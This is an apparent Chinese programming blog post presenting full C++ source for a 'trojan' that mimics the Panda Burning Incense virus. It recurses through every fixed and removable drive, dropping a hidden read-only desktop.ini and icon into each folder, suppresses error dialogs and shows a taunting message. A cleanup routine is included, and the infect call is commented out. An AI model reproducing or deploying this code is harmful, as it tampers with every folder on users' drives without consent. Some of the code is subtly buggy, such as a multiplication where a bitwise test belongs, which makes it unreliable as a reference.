c++木马程序之文件夹感染

本文介绍了一个名为“熊猫烧香”的病毒程序,该程序通过修改文件夹图标进行传播,并展示了如何清除这种病毒。代码中包括了病毒的传播逻辑、文件夹感染及清除过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#include "resource.h"
#include <windows.h>
bool EnumDirectory(TCHAR *dirpath,bool isInject);
void inject(char *path);
bool WriteResourceToFile(char const *filename);
void clear(char *path);
bool FileExist(char *filepath);
//禁止弹出软盘错误对话框

int set_error()
{
	SetErrorMode(SEM_NOOPENFILEERRORBOX|SEM_NOOPENFILEERRORBOX|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_FAILCRITICALERRORS);
	return 1;
}

//本程序请在虚拟机下运行,否则系统崩溃我不负责。
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{

	set_error();

	for (char i='A';i<='Z';i++)
	{
		char x[20]={i,':'};
		UINT type=GetDriveType(x);
		if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)//硬盘和移动磁盘
		{
				
			    //EnumDirectory(x,true);//感染病毒
				EnumDirectory(x,false);//清楚病毒

		}
	}
	MessageBox(NULL,"恭喜你,中了熊猫烧香病毒!","哈哈",MB_OK);
	return 0;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject)
{

	WIN32_FIND_DATA fd;
	TCHAR szTempFileFind[MAX_PATH]={0};
	bool bIsFinish=false;
	ZeroMemory(&fd,sizeof(WIN32_FIND_DATA));
	wsprintf(szTempFileFind,"%s\\*.*",dirpath);
	HANDLE hFind=FindFirstFile(szTempFileFind,&fd);
	if(hFind==INVALID_HANDLE_VALUE)
	{

		return false;
	}
	while(!bIsFinish)
	{

		bIsFinish=(FindNextFile(hFind,&fd))?false:true;//没有文件了就返回
		if((strcmp(fd.cFileName,".")!=0)&&(strcmp(fd.cFileName,"..")!=0))
		{

			TCHAR szFoundFileName[MAX_PATH]={0};
			strcpy(szFoundFileName,fd.cFileName);
			if(fd.dwFileAttributes*FILE_ATTRIBUTE_DIRECTORY)//如果找到的文件是目录,则递归感染
			{
				TCHAR szTempDir[MAX_PATH]={0};
				wsprintf(szTempDir,"%s\\%s",dirpath,szFoundFileName);
				Sleep(10);
				if(isInject)
				{

					//开始感染文件夹
					inject(szTempDir);
					EnumDirectory(szTempDir,isInject);//递归
				}else{
					clear(szTempDir);
					EnumDirectory(szTempDir,isInject);//递归
				}
			

			}
		}
	}
	FindClose(hFind);
	return true;
}
//在目录下感染,添加图标
void inject(char *path)
{

	char inifilepath[256];
	char icofilepath[256];
	strcpy(inifilepath,path);
	strcpy(icofilepath,path);
	strcat(inifilepath,"\\desktop.ini");
	strcat(icofilepath,"\\yunshouhu.ico");
	WriteResourceToFile(icofilepath);
	//SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);//设置文件夹只读
	SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);//ini文件只度和隐藏
	WritePrivateProfileString(".ShellClassInfo","IconFile","yunshouhu.ico",inifilepath);
	WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);
	
}
void clear(char *path)
{
	char inifilepath[256];
	char icofilepath[256];
	strcpy(inifilepath,path);
	strcpy(icofilepath,path);
	strcat(inifilepath,"\\desktop.ini");
	strcat(icofilepath,"\\yunshouhu.ico");
	//char cmd[300]="del ";

	if(FileExist(icofilepath))
	{
		DeleteFile(icofilepath);
	
	//	strcat(cmd,icofilepath);
		//system(cmd);
	}
	if(FileExist(inifilepath))
	{
		
		DeleteFile(inifilepath);

		//strcat(cmd,inifilepath);
		//system(cmd);
	}
	


}
bool FileExist(char *filepath)
{
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind;
	
	hFind = FindFirstFile(filepath, &FindFileData);
	
	if (hFind == INVALID_HANDLE_VALUE) {

		return false;
	} else {
		FindClose(hFind);
		return true;
		
  }


}
bool WriteResourceToFile(char const *filename)
{

	HINSTANCE hInstance=GetModuleHandle(NULL);
	HRSRC hResInfo=FindResource(hInstance,MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
	HGLOBAL hgRes=LoadResource(hInstance,hResInfo);
	void *pvRes=LockResource(hgRes);
	DWORD cbRes=SizeofResource(hInstance,hResInfo);
	HANDLE hFile=CreateFile(filename,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	DWORD cbWritten;
	WriteFile(hFile,pvRes,cbRes,&cbWritten,0);
	CloseHandle(hFile);

	return false;
}

resource.h

//  resource.h
#define RC_BINARYTYPE 256
#define ID_ICO 100
res.rc

#include "resource.h"
ID_ICO RC_BINARYTYPE yunshouhu.ico




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值